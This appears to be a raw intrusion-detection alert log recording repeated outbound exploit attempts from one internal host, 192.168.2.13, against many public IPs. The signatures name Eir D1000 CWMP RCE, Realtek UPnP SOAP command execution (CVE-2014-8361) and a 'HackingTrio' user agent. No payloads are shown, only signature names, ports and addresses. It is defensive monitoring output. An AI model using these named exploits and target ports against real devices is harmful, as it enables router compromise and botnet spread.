Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.204.2.236

Timestamp:	04/15/24-08:53:21.749201
SID:	2023548
Source Port:	49046
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 186.16.13.27

Timestamp:	04/15/24-08:53:28.912402
SID:	2025576
Source Port:	36700
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 94.121.73.158

Timestamp:	04/15/24-08:53:20.188641
SID:	2025132
Source Port:	56782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 32.211.114.13

Timestamp:	04/15/24-08:53:58.556796
SID:	2023548
Source Port:	43378
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 34.149.92.77

Timestamp:	04/15/24-08:52:13.464961
SID:	2025132
Source Port:	38676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 34.149.92.77

Timestamp:	04/15/24-08:52:13.617441
SID:	2831300
Source Port:	38724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.194.123.239

Timestamp:	04/15/24-08:53:48.553710
SID:	2023548
Source Port:	43830
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.251.233.232

Timestamp:	04/15/24-08:53:52.790028
SID:	2023548
Source Port:	47748
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 94.123.187.221

Timestamp:	04/15/24-08:53:00.322386
SID:	2831300
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.30.17.56

Timestamp:	04/15/24-08:53:42.630301
SID:	2023548
Source Port:	46834
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.217.183.203

Timestamp:	04/15/24-08:53:49.653112
SID:	2025576
Source Port:	53868
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 112.84.130.47

Timestamp:	04/15/24-08:53:16.667888
SID:	2025576
Source Port:	56420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 69.80.41.46

Timestamp:	04/15/24-08:53:22.842761
SID:	2023548
Source Port:	35044
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.192.8.166

Timestamp:	04/15/24-08:53:31.497066
SID:	2023548
Source Port:	60584
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.98.165.249

Timestamp:	04/15/24-08:53:37.451101
SID:	2023548
Source Port:	41842
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 178.135.97.217

Timestamp:	04/15/24-08:53:32.503811
SID:	2025132
Source Port:	44620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 31.45.203.234

Timestamp:	04/15/24-08:53:21.981347
SID:	2023548
Source Port:	44370
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 149.28.84.6

Timestamp:	04/15/24-08:53:29.039042
SID:	2025576
Source Port:	32804
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.236.83.244

Timestamp:	04/15/24-08:53:42.962571
SID:	2023548
Source Port:	33738
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.42.174.180

Timestamp:	04/15/24-08:52:39.826500
SID:	2023548
Source Port:	44440
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 116.206.128.152

Timestamp:	04/15/24-08:53:54.505266
SID:	2023548
Source Port:	36078
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.251.36.209

Timestamp:	04/15/24-08:52:14.130188
SID:	2023548
Source Port:	36882
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 124.219.137.204

Timestamp:	04/15/24-08:52:55.351379
SID:	2023548
Source Port:	57832
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.70.29.201

Timestamp:	04/15/24-08:53:18.526409
SID:	2023548
Source Port:	37478
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 94.123.187.221

Timestamp:	04/15/24-08:53:00.322386
SID:	2027339
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 189.216.7.55

Timestamp:	04/15/24-08:53:41.103177
SID:	2025576
Source Port:	45176
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.218.225.190

Timestamp:	04/15/24-08:53:21.577179
SID:	2023548
Source Port:	60108
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 212.9.102.39

Timestamp:	04/15/24-08:52:36.383386
SID:	2023548
Source Port:	40588
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 125.206.177.159

Timestamp:	04/15/24-08:53:58.285387
SID:	2025576
Source Port:	52360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.95.223.240

Timestamp:	04/15/24-08:52:23.351518
SID:	2023548
Source Port:	34092
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.117.159.7

Timestamp:	04/15/24-08:53:42.406305
SID:	2023548
Source Port:	49628
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.124.179.18

Timestamp:	04/15/24-08:53:59.043229
SID:	2023548
Source Port:	60234
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.33.251.156

Timestamp:	04/15/24-08:53:21.593318
SID:	2023548
Source Port:	52758
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.166.15.70

Timestamp:	04/15/24-08:53:37.323845
SID:	2023548
Source Port:	55702
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 112.181.57.251

Timestamp:	04/15/24-08:52:16.456909
SID:	2023548
Source Port:	49038
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 81.199.207.140

Timestamp:	04/15/24-08:52:22.917960
SID:	2025132
Source Port:	40608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 116.203.196.175

Timestamp:	04/15/24-08:53:37.968751
SID:	2025576
Source Port:	57134
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 142.129.49.50

Timestamp:	04/15/24-08:52:41.981100
SID:	2023548
Source Port:	42360
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 38.181.198.110

Timestamp:	04/15/24-08:52:53.047643
SID:	2025132
Source Port:	33180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.148.8.93

Timestamp:	04/15/24-08:52:20.759674
SID:	2023548
Source Port:	37380
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 52.174.91.34

Timestamp:	04/15/24-08:53:37.970615
SID:	2025576
Source Port:	42810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.118.9.24

Timestamp:	04/15/24-08:53:50.311554
SID:	2023548
Source Port:	38400
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.85.140.142

Timestamp:	04/15/24-08:52:53.470898
SID:	2025576
Source Port:	46048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.228.23.31

Timestamp:	04/15/24-08:52:35.556417
SID:	2023548
Source Port:	50804
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 2.34.150.234

Timestamp:	04/15/24-08:52:29.044406
SID:	2025576
Source Port:	36014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 70.122.224.30

Timestamp:	04/15/24-08:53:21.489209
SID:	2025576
Source Port:	50164
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.203.82.105

Timestamp:	04/15/24-08:53:52.815126
SID:	2023548
Source Port:	56726
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 178.135.97.217

Timestamp:	04/15/24-08:53:32.503811
SID:	2027339
Source Port:	44620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 37.238.252.248

Timestamp:	04/15/24-08:52:40.214627
SID:	2025576
Source Port:	34138
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.149.92.77

Timestamp:	04/15/24-08:52:13.464961
SID:	2027339
Source Port:	38676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.124.126.76

Timestamp:	04/15/24-08:53:48.182354
SID:	2023548
Source Port:	49892
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 95.230.110.228

Timestamp:	04/15/24-08:53:21.606329
SID:	2025576
Source Port:	43840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.152.8.53

Timestamp:	04/15/24-08:53:32.772027
SID:	2023548
Source Port:	46774
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 159.134.172.137

Timestamp:	04/15/24-08:52:28.796197
SID:	2025576
Source Port:	55434
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.65.239.234

Timestamp:	04/15/24-08:53:42.782058
SID:	2023548
Source Port:	41916
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.91.191.209

Timestamp:	04/15/24-08:53:08.908192
SID:	2023548
Source Port:	43128
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 200.127.30.18

Timestamp:	04/15/24-08:53:46.859403
SID:	2023548
Source Port:	56778
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.10.146.216

Timestamp:	04/15/24-08:53:04.774155
SID:	2023548
Source Port:	44850
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.168.100.247

Timestamp:	04/15/24-08:53:08.268144
SID:	2023548
Source Port:	46914
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.161.230.198

Timestamp:	04/15/24-08:53:37.755100
SID:	2023548
Source Port:	32910
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.7.123.8

Timestamp:	04/15/24-08:53:49.788733
SID:	2023548
Source Port:	52718
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.160.142.8

Timestamp:	04/15/24-08:52:52.799031
SID:	2025576
Source Port:	51426
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 84.74.124.103

Timestamp:	04/15/24-08:53:43.191466
SID:	2023548
Source Port:	44222
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 104.240.53.105

Timestamp:	04/15/24-08:52:13.611729
SID:	2023548
Source Port:	53494
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.73.239.115

Timestamp:	04/15/24-08:52:20.031783
SID:	2023548
Source Port:	52764
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 202.215.132.75

Timestamp:	04/15/24-08:53:41.311587
SID:	2025576
Source Port:	37394
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 154.80.199.79

Timestamp:	04/15/24-08:53:07.534860
SID:	2025576
Source Port:	58694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 199.254.110.54

Timestamp:	04/15/24-08:53:58.925151
SID:	2023548
Source Port:	53098
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.41.160.227

Timestamp:	04/15/24-08:53:48.765288
SID:	2023548
Source Port:	40704
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.192.8.166

Timestamp:	04/15/24-08:53:31.195569
SID:	2023548
Source Port:	60570
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.20.97.234

Timestamp:	04/15/24-08:53:16.494594
SID:	2025576
Source Port:	58862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.26.224.230

Timestamp:	04/15/24-08:52:19.799528
SID:	2023548
Source Port:	37190
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.33.150.165

Timestamp:	04/15/24-08:53:04.736042
SID:	2023548
Source Port:	48272
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 20.150.88.104

Timestamp:	04/15/24-08:53:21.704277
SID:	2025576
Source Port:	49618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.97.77.112

Timestamp:	04/15/24-08:53:46.899411
SID:	2023548
Source Port:	38006
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 78.134.22.36

Timestamp:	04/15/24-08:53:00.904149
SID:	2023548
Source Port:	51926
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.122.75.251

Timestamp:	04/15/24-08:52:20.132733
SID:	2023548
Source Port:	38964
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.137.77.164

Timestamp:	04/15/24-08:53:10.058834
SID:	2027339
Source Port:	58058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.18.55.39

Timestamp:	04/15/24-08:53:27.558135
SID:	2023548
Source Port:	56644
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 45.43.225.196

Timestamp:	04/15/24-08:53:10.681095
SID:	2027339
Source Port:	56248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.122.75.251

Timestamp:	04/15/24-08:52:19.792848
SID:	2023548
Source Port:	38934
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.32.29.9

Timestamp:	04/15/24-08:52:45.035619
SID:	2023548
Source Port:	38734
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 154.240.16.220

Timestamp:	04/15/24-08:53:43.834108
SID:	2023548
Source Port:	42980
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 197.15.85.172

Timestamp:	04/15/24-08:52:28.998539
SID:	2025576
Source Port:	43162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.191.42.237

Timestamp:	04/15/24-08:53:38.350741
SID:	2023548
Source Port:	39630
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.101.168.128

Timestamp:	04/15/24-08:53:42.119832
SID:	2023548
Source Port:	37248
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.187.9.45

Timestamp:	04/15/24-08:52:19.852296
SID:	2023548
Source Port:	58836
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 199.208.108.1

Timestamp:	04/15/24-08:52:55.925460
SID:	2027339
Source Port:	37402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 188.29.240.227

Timestamp:	04/15/24-08:53:31.237251
SID:	2023548
Source Port:	55474
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.117.6.143

Timestamp:	04/15/24-08:53:37.727065
SID:	2023548
Source Port:	34624
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.231.135.246

Timestamp:	04/15/24-08:53:56.372286
SID:	2023548
Source Port:	53522
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.137.77.164

Timestamp:	04/15/24-08:53:09.782170
SID:	2027339
Source Port:	58054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 154.214.115.248

Timestamp:	04/15/24-08:52:46.201656
SID:	2027339
Source Port:	45354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 178.135.107.248

Timestamp:	04/15/24-08:53:57.577510
SID:	2027339
Source Port:	38812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.222.190.222

Timestamp:	04/15/24-08:52:39.734683
SID:	2023548
Source Port:	37496
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.11.175.63

Timestamp:	04/15/24-08:52:54.812739
SID:	2023548
Source Port:	42668
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 165.51.2.23

Timestamp:	04/15/24-08:53:21.922295
SID:	2023548
Source Port:	56800
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 89.181.14.231

Timestamp:	04/15/24-08:53:42.919939
SID:	2023548
Source Port:	49378
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.201.131.17

Timestamp:	04/15/24-08:52:42.487401
SID:	2023548
Source Port:	35246
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.176.153

Timestamp:	04/15/24-08:53:48.694642
SID:	2023548
Source Port:	42984
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 107.147.202.121

Timestamp:	04/15/24-08:53:32.924029
SID:	2023548
Source Port:	47498
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.72.205.163

Timestamp:	04/15/24-08:52:13.839570
SID:	2023548
Source Port:	33160
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.145.209

Timestamp:	04/15/24-08:52:55.174193
SID:	2023548
Source Port:	42026
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 109.36.156.187

Timestamp:	04/15/24-08:53:21.499940
SID:	2027339
Source Port:	46356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.72.205.163

Timestamp:	04/15/24-08:52:14.127291
SID:	2023548
Source Port:	33190
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.20.160.36

Timestamp:	04/15/24-08:52:28.650969
SID:	2025576
Source Port:	39554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 50.2.254.11

Timestamp:	04/15/24-08:52:39.844356
SID:	2025576
Source Port:	53352
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 94.123.49.193

